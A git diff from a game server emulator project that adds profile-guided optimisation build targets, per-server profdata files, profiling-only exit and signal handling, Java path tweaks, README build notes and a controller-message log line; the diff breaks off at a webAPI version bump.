diff --git a/CMakeLists.txt b/CMakeLists.txt index ee8a8ee0..56781220 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -4,11 +4,11 @@ cmake_minimum_required(VERSION 2.8) project(stellabellum C CXX) -if(WIN32) - set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32") -elseif(UNIX) - set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux") -endif() +if (WIN32) + set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32") +elseif (UNIX) + set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux") +endif () set(SWG_ROOT_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}) set(SWG_ENGINE_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/engine) @@ -16,10 +16,10 @@ set(SWG_EXTERNALS_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/external) set(SWG_EXTERNALS_FIND ${CMAKE_CURRENT_SOURCE_DIR}/external/3rd/library) set(SWG_GAME_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/game) -include_directories(/usr/include/i386-linux-gnu) - set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin) +include_directories(/usr/include/i386-linux-gnu) + find_package(BISON REQUIRED) find_package(FLEX REQUIRED) find_package(JNI REQUIRED) @@ -45,67 +45,96 @@ set(CMAKE_CXX_FLAGS_MINSIZEREL "") # I'll be honest, win32 is probably very very broken and won't build - it will need worked on so that MSVC uses # the vs2013+ STL instead of stlport, and probably will thus need removal/modification/addition of TONS of the ifdef blocks for WIN32 -if(WIN32) - find_package(Iconv REQUIRED) - - # Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO") +if (WIN32) + find_package(Iconv REQUIRED) - # Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) - #set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \ - # -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \ - # -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \ - # /Zc:wchar_t- /Ob1 /FC") - - # Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \ + # Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO") + + # Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) + #set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \ + # -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \ + # -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \ + # /Zc:wchar_t- /Ob1 /FC") + + # Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed) + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \ /Oi /Ot /Oy /O2 /GF /Gy /MT -D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS \ /MP /wd4244 /wd4996 /wd4018 /wd4351 /Zc:wchar_t- /Ob1 /FC") - # Standard DEBUG build use the following (by either commenting---uncommenting the line as needed) - set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \ + # Standard DEBUG build use the following (by either commenting---uncommenting the line as needed) + set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \ -D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \ /Zc:wchar_t- /Ob1 /FC") -elseif(UNIX) - find_package(Curses REQUIRED) +elseif (UNIX) + find_package(Curses REQUIRED) - # linker flags - set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}") + # linker flags + if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") + set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") + else () + set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + endif () - # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS - set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3") - - # release specific cflags - optimizations beyond the default for both types is mostly just -O flags - set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}") - # Ofast doesn't work with gcc builds - if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ - -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ - -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \ - -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ - -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ - -finline-hint-functions -fno-unroll-loops") + # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS + set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3") - set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") - elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") - # O3 and Ofast include one or more flags that cause java to crash when using gcc6 - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") - set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") - elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel") - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3") - endif() + # release specific cflags - optimizations beyond the default for both types is mostly just -O flags + set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1") - # our "always on" flags - build by default for the system we're on but include all instruction sets - set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \ + # we use fewer, if any, crazy optimizations for profile generation, and likewise release flags for the minsizerel + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELEASE}") + set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE}") + + # Ofast doesn't work with gcc builds + if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ + -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ + -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \ + -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ + -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ + -finline-hint-functions -fno-unroll-loops") + + set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") + + # RELWITHDEBINFO is used for building bins that produce profdata files + # we only need the basics of our heavy optimizations here, i think - that and one of these flags + # breaks JNI when we profile + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \ + -finline-hint-functions -fprofile-instr-generate") + + # MINSIZEREL is used for profiled, flto builds + set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") + elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") + # O3 and Ofast include one or more flags that cause java to crash when using gcc6 + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math + -fno-unroll-loops -fno-tree-loop-optimize") + set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") + elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel") + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3") + endif () + + # our "always on" flags - build by default for the system we're on but include all instruction sets + set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \ -msse -msse2 -msse3 -mmmx -m3dnow \ -Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \ -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) -endif() + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) + + # release and debug are internal use only + if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") + add_definitions(-DSTELLA_INTERNAL) + endif () + + # this is so some profile specific stuff is turned on in the code + if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") + add_definitions(-DENABLE_PROFILING) + endif () +endif () add_subdirectory(external) add_subdirectory(engine) diff --git a/README.md b/README.md index 3fb92f92..beb6d708 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,23 @@ * master - stable, but internal only * testing - bleeding edge, works in progress, internal only + +# Old/Deprecated - For Reference Only * clang-profile - intenal, modified to profile the code for clang-profile-build * clang-profile-build - "release" and tc branch, as we want to use our fast profiled code * google-profiler - modified for use with gperf -* icc - deprecated, modified for building with Intel's ICC compiler \ No newline at end of file +* icc - deprecated, modified for building with Intel's ICC compiler + +# Building Notes + +Only use the Debug and Release targets for testing internally, but never push these to public facing servers. For public facing builds, use the MINSIZEREL target for flto profile built bins, and RELWITHDEBUGINFO target for bins that produce profdata (see below). + +## Profiling and Using Profiles + +To use, add export LLVM_PROFILE_FILE="output-%p.profraw" to your startServer.sh file. WHILE THE SERVER IS RUNNING do a ps -a to get the pid's of each SWG executable. After you cleanly exit (shutdown) the server, and ctrl+c the LoginServer, move each output-pid.profraw to a folder named for it's process. + +Then, proceed to combine them into usable profiles for the compiler: + +llvm-profdata merge -output=code.profdata output-*.profraw + +See http://clang.llvm.org/docs/UsersManual.html#profiling-with-instrumentation diff --git a/cmake/linux/FindJNI.cmake b/cmake/linux/FindJNI.cmake index 57e63e3b..ac423a6f 100644 --- a/cmake/linux/FindJNI.cmake +++ b/cmake/linux/FindJNI.cmake @@ -89,6 +89,9 @@ get_filename_component(java_install_version "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME) set(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/java/lib + /opt/java + /opt/java/jre "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/lib" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/lib" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/lib" @@ -97,6 +100,11 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME) JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/java + /opt/java/jre + /opt/java/jre/lib + /opt/java/jre/bin + /opt/java/jre/bin/classic ${_JAVA_HOME}/jre/lib/{libarch} ${_JAVA_HOME}/jre/lib ${_JAVA_HOME}/jre/bin @@ -152,11 +160,12 @@ endforeach() set(JAVA_AWT_INCLUDE_DIRECTORIES + /opt/java/jre/include "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include" ${_JAVA_HOME}/include - /opt/java17/include + /opt/java/include /opt/java17/jre/include /usr/include /usr/local/include diff --git a/engine/server/application/CentralServer/src/CMakeLists.txt b/engine/server/application/CentralServer/src/CMakeLists.txt index 4354e1ad..2debf59d 100755 --- a/engine/server/application/CentralServer/src/CMakeLists.txt +++ b/engine/server/application/CentralServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/CentralServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/CentralServer.profdata) +endif() set(SHARED_SOURCES shared/AuctionTransferClient.cpp diff --git a/engine/server/application/CentralServer/src/linux/CentralServer.profdata b/engine/server/application/CentralServer/src/linux/CentralServer.profdata new file mode 100644 index 00000000..91647fb3 Binary files /dev/null and b/engine/server/application/CentralServer/src/linux/CentralServer.profdata differ diff --git a/engine/server/application/CentralServer/src/linux/main.cpp b/engine/server/application/CentralServer/src/linux/main.cpp index c24640fc..f7eeb540 100755 --- a/engine/server/application/CentralServer/src/linux/main.cpp +++ b/engine/server/application/CentralServer/src/linux/main.cpp @@ -59,5 +59,9 @@ int main(int argc, char ** argv) NetworkHandler::remove(); SetupSharedFoundation::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/engine/server/application/ChatServer/src/CMakeLists.txt b/engine/server/application/ChatServer/src/CMakeLists.txt index c6400926..0144d416 100644 --- a/engine/server/application/ChatServer/src/CMakeLists.txt +++ b/engine/server/application/ChatServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/ChatServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/ChatServer.profdata) +endif() set(SHARED_SOURCES shared/CentralServerConnection.cpp diff --git a/engine/server/application/ChatServer/src/linux/ChatServer.profdata b/engine/server/application/ChatServer/src/linux/ChatServer.profdata new file mode 100644 index 00000000..26bbd877 Binary files /dev/null and b/engine/server/application/ChatServer/src/linux/ChatServer.profdata differ diff --git a/engine/server/application/ChatServer/src/linux/main.cpp b/engine/server/application/ChatServer/src/linux/main.cpp index 295c53f2..09aa339e 100755 --- a/engine/server/application/ChatServer/src/linux/main.cpp +++ b/engine/server/application/ChatServer/src/linux/main.cpp @@ -39,5 +39,9 @@ int main(int argc, char ** argv) ChatServer::run(); SetupSharedFoundation::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/engine/server/application/CommoditiesServer/src/CMakeLists.txt b/engine/server/application/CommoditiesServer/src/CMakeLists.txt index 8ba55ff9..81efd107 100644 --- a/engine/server/application/CommoditiesServer/src/CMakeLists.txt +++ b/engine/server/application/CommoditiesServer/src/CMakeLists.txt @@ -1,4 +1,8 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/CommoditiesServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/CommoditiesServer.profdata) +endif() + set(SHARED_SOURCES shared/AuctionBid.cpp shared/AuctionBid.h diff --git a/engine/server/application/CommoditiesServer/src/linux/CommoditiesServer.profdata b/engine/server/application/CommoditiesServer/src/linux/CommoditiesServer.profdata new file mode 100644 index 00000000..72c10de4 Binary files /dev/null and b/engine/server/application/CommoditiesServer/src/linux/CommoditiesServer.profdata differ diff --git a/engine/server/application/ConnectionServer/src/CMakeLists.txt b/engine/server/application/ConnectionServer/src/CMakeLists.txt index 6737fd50..0a44fd4c 100644 --- a/engine/server/application/ConnectionServer/src/CMakeLists.txt +++ b/engine/server/application/ConnectionServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/ConnectionServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/ConnectionServer.profdata) +endif() set(SHARED_SOURCES shared/CentralConnection.cpp diff --git a/engine/server/application/ConnectionServer/src/linux/ConnectionServer.profdata b/engine/server/application/ConnectionServer/src/linux/ConnectionServer.profdata new file mode 100644 index 00000000..29282771 Binary files /dev/null and b/engine/server/application/ConnectionServer/src/linux/ConnectionServer.profdata differ diff --git a/engine/server/application/ConnectionServer/src/linux/main.cpp b/engine/server/application/ConnectionServer/src/linux/main.cpp index 1e3dccfa..0bc0d1a3 100755 --- a/engine/server/application/ConnectionServer/src/linux/main.cpp +++ b/engine/server/application/ConnectionServer/src/linux/main.cpp @@ -61,6 +61,10 @@ int main(int argc, char ** argv) NetworkHandler::remove(); SetupSharedFoundation::remove(); SetupSharedThread::remove(); + +#ifdef ENABLE_PROFILING + exit(0); +#endif return 0; } diff --git a/engine/server/application/LogServer/src/CMakeLists.txt b/engine/server/application/LogServer/src/CMakeLists.txt index 73393bcf..4ae4dce4 100644 --- a/engine/server/application/LogServer/src/CMakeLists.txt +++ b/engine/server/application/LogServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/LogServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/LogServer.profdata) +endif() set(SHARED_SOURCES shared/ConfigLogServer.cpp diff --git a/engine/server/application/LogServer/src/linux/LogServer.profdata b/engine/server/application/LogServer/src/linux/LogServer.profdata new file mode 100644 index 00000000..43f50088 Binary files /dev/null and b/engine/server/application/LogServer/src/linux/LogServer.profdata differ diff --git a/engine/server/application/LogServer/src/linux/main.cpp b/engine/server/application/LogServer/src/linux/main.cpp index 742af139..5fe224ec 100755 --- a/engine/server/application/LogServer/src/linux/main.cpp +++ b/engine/server/application/LogServer/src/linux/main.cpp @@ -54,6 +54,10 @@ int main(int argc, char **argv) SetupSharedFoundation::remove(); SetupSharedThread::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/engine/server/application/LogServer/src/shared/LogServer.cpp b/engine/server/application/LogServer/src/shared/LogServer.cpp index e608ab89..5065d6cd 100755 --- a/engine/server/application/LogServer/src/shared/LogServer.cpp +++ b/engine/server/application/LogServer/src/shared/LogServer.cpp @@ -154,6 +154,10 @@ void LogServer::setDone(char const *reasonfmt, ...) va_end(ap); m_done = true; } + +#ifdef ENABLE_PROFILING + std::exit(0); +#endif } // ====================================================================== diff --git a/engine/server/application/LoginServer/src/CMakeLists.txt b/engine/server/application/LoginServer/src/CMakeLists.txt index 147c47df..385d5bd4 100644 --- a/engine/server/application/LoginServer/src/CMakeLists.txt +++ b/engine/server/application/LoginServer/src/CMakeLists.txt @@ -1,3 +1,7 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/LoginServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/LoginServer.profdata) +endif() + set(SHARED_SOURCES shared/CentralServerConnection.cpp shared/CentralServerConnection.h diff --git a/engine/server/application/LoginServer/src/linux/LoginServer.profdata b/engine/server/application/LoginServer/src/linux/LoginServer.profdata new file mode 100644 index 00000000..296b1ffe Binary files /dev/null and b/engine/server/application/LoginServer/src/linux/LoginServer.profdata differ diff --git a/engine/server/application/LoginServer/src/linux/main.cpp b/engine/server/application/LoginServer/src/linux/main.cpp index e08cb606..03efc534 100755 --- a/engine/server/application/LoginServer/src/linux/main.cpp +++ b/engine/server/application/LoginServer/src/linux/main.cpp @@ -1,5 +1,9 @@ #include "sharedFoundation/FirstSharedFoundation.h" +#ifdef ENABLE_PROFILING +#include +#endif + #include "ConfigLoginServer.h" #include "LoginServer.h" @@ -15,35 +19,49 @@ // ====================================================================== -int main(int argc, char ** argv) -{ - - SetupSharedThread::install(); - SetupSharedDebug::install(1024); - - //-- setup foundation - SetupSharedFoundation::Data setupFoundationData(SetupSharedFoundation::Data::D_game); - setupFoundationData.lpCmdLine = ConvertCommandLine(argc,argv); - setupFoundationData.configFile = "loginServer.cfg"; - SetupSharedFoundation::install (setupFoundationData); - - if (ConfigFile::isEmpty()) - FATAL(true, ("No config file specified")); - - SetupSharedCompression::install(); - - SetupSharedFile::install(false); - SetupSharedNetworkMessages::install(); - - SetupSharedRandom::install(static_cast(time(nullptr))); //lint !e1924 !e64 // nullptr is a C-Style cast? - - Os::setProgramName("LoginServer"); - //setup the server - ConfigLoginServer::install(); - - //-- run game - SetupSharedFoundation::callbackWithExceptionHandling(LoginServer::run); - SetupSharedFoundation::remove(); - - return 0; +#ifdef ENABLE_PROFILING +inline void signalHandler(int s){ + printf("LoginServer terminating, signal %d\n",s); + exit(0); +} +#endif + +int main(int argc, char **argv) { +#ifdef ENABLE_PROFILING + struct sigaction sigIntHandler; + sigIntHandler.sa_handler = signalHandler; + sigemptyset(&sigIntHandler.sa_mask); + sigIntHandler.sa_flags = 0; + sigaction(SIGINT, &sigIntHandler, NULL); +#endif + + SetupSharedThread::install(); + SetupSharedDebug::install(1024); + + //-- setup foundation + SetupSharedFoundation::Data setupFoundationData(SetupSharedFoundation::Data::D_game); + setupFoundationData.lpCmdLine = ConvertCommandLine(argc, argv); + setupFoundationData.configFile = "loginServer.cfg"; + SetupSharedFoundation::install(setupFoundationData); + + if (ConfigFile::isEmpty()) { + FATAL(true, ("No config file specified")); + } + + SetupSharedCompression::install(); + + SetupSharedFile::install(false); + SetupSharedNetworkMessages::install(); + + SetupSharedRandom::install(static_cast(time(nullptr))); //lint !e1924 !e64 // nullptr is a C-Style cast? + + Os::setProgramName("LoginServer"); + //setup the server + ConfigLoginServer::install(); + + //-- run game + SetupSharedFoundation::callbackWithExceptionHandling(LoginServer::run); + SetupSharedFoundation::remove(); + + return 0; } diff --git a/engine/server/application/PlanetServer/src/CMakeLists.txt b/engine/server/application/PlanetServer/src/CMakeLists.txt index e0eefd7a..efa39cd4 100644 --- a/engine/server/application/PlanetServer/src/CMakeLists.txt +++ b/engine/server/application/PlanetServer/src/CMakeLists.txt @@ -1,3 +1,6 @@ +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/PlanetServer.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/PlanetServer.profdata) +endif() set(SHARED_SOURCES shared/CentralServerConnection.cpp diff --git a/engine/server/application/PlanetServer/src/linux/PlanetServer.profdata b/engine/server/application/PlanetServer/src/linux/PlanetServer.profdata new file mode 100644 index 00000000..9ae349d2 Binary files /dev/null and b/engine/server/application/PlanetServer/src/linux/PlanetServer.profdata differ diff --git a/engine/server/application/PlanetServer/src/linux/main.cpp b/engine/server/application/PlanetServer/src/linux/main.cpp index db59c7e6..fff64b5e 100755 --- a/engine/server/application/PlanetServer/src/linux/main.cpp +++ b/engine/server/application/PlanetServer/src/linux/main.cpp @@ -74,5 +74,9 @@ int main(int argc, char ** argv) SetupSharedFoundation::remove(); SetupSharedThread::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/engine/server/application/PlanetServer/src/shared/PlanetServer.cpp b/engine/server/application/PlanetServer/src/shared/PlanetServer.cpp index a472d8e1..acec5ecf 100755 --- a/engine/server/application/PlanetServer/src/shared/PlanetServer.cpp +++ b/engine/server/application/PlanetServer/src/shared/PlanetServer.cpp @@ -1509,6 +1509,10 @@ void PlanetServer::setDone(char const *reasonfmt, ...) va_end(ap); m_done = true; } + +#ifdef ENABLE_PROFILING + std::exit(0); +#endif } // ---------------------------------------------------------------------- diff --git a/engine/server/application/TaskManager/src/CMakeLists.txt b/engine/server/application/TaskManager/src/CMakeLists.txt index 5d3fa1e8..181307cd 100644 --- a/engine/server/application/TaskManager/src/CMakeLists.txt +++ b/engine/server/application/TaskManager/src/CMakeLists.txt @@ -1,4 +1,7 @@ - +if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/TaskManager.profdata") + add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/TaskManager.profdata) +endif() + set(SHARED_SOURCES shared/CentralConnection.cpp shared/CentralConnection.h diff --git a/engine/server/application/TaskManager/src/linux/TaskManager.profdata b/engine/server/application/TaskManager/src/linux/TaskManager.profdata new file mode 100644 index 00000000..aab8dc18 Binary files /dev/null and b/engine/server/application/TaskManager/src/linux/TaskManager.profdata differ diff --git a/engine/server/application/TaskManager/src/linux/main.cpp b/engine/server/application/TaskManager/src/linux/main.cpp index 0557283d..8ee0052f 100755 --- a/engine/server/application/TaskManager/src/linux/main.cpp +++ b/engine/server/application/TaskManager/src/linux/main.cpp @@ -41,5 +41,9 @@ int main(int argc, char ** argv) TaskManager::remove(); SetupSharedFoundation::remove(); +#ifdef ENABLE_PROFILING + exit(0); +#endif + return 0; } diff --git a/engine/server/library/serverGame/src/shared/ai/AggroListProperty.cpp b/engine/server/library/serverGame/src/shared/ai/AggroListProperty.cpp index e06b0d40..a6071aa9 100755 --- a/engine/server/library/serverGame/src/shared/ai/AggroListProperty.cpp +++ b/engine/server/library/serverGame/src/shared/ai/AggroListProperty.cpp @@ -79,6 +79,7 @@ bool AggroListPropertyNamespace::canAttackTarget(TangibleObject const & attacker { //LOGC(AiLogManager::isLogging(attacker), "debug_ai", ("AggroListPropertyNamespace::canAttackTarget() attacker(%s) target(%s) Target is feigning death", attacker.getDebugInformation().c_str(), target.getDebugInformation().c_str())); result = false; + } else if (isInPlayerBuilding(target)) { diff --git a/engine/server/library/serverGame/src/shared/core/Client.cpp b/engine/server/library/serverGame/src/shared/core/Client.cpp index e7e0b3e9..51ff8010 100755 --- a/engine/server/library/serverGame/src/shared/core/Client.cpp +++ b/engine/server/library/serverGame/src/shared/core/Client.cpp @@ -920,6 +920,8 @@ void Client::receiveClientMessage(const GameNetworkMessage &message) { #else if (allowFromClient) { #endif + LOG("AllowedObjControllerMsgs", ("Allowing player %s at %s controller message %d for object %s", PlayerObject::getAccountDescription(getCharacterObjectId()).c_str(), getIpAddress().c_str(), o.getMessage(), o.getNetworkId().getValueString().c_str())); + ServerObject *target = findControlledObject(o.getNetworkId()); if (target != 0) { // apply the controller message diff --git a/external/3rd/library/webAPI/CMakeLists.txt b/external/3rd/library/webAPI/CMakeLists.txt index d0dbb6cb..881f54a9 100644 --- a/external/3rd/library/webAPI/CMakeLists.txt +++ b/external/3rd/library/webAPI/CMakeLists.txt @@ -2,8 +2,6 @@ cmake_minimum_required(VERSION 2.8) project(webAPI) -include_directories(${CMAKE_CURRENT_SOURCE_DIR}) - add_library(webAPI webAPI.h webAPI.cpp diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index 43d817ff..f061868e 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -1,5 +1,5 @@ /* - * Version: 1.6 + * Version: 1.75 * * This code is just a simple wrapper around nlohmann's wonderful json lib * (https://github.com/nlohmann/json) and libcurl. While originally included directly, @@ -22,23 +22,23 @@ using namespace StellaBellum; 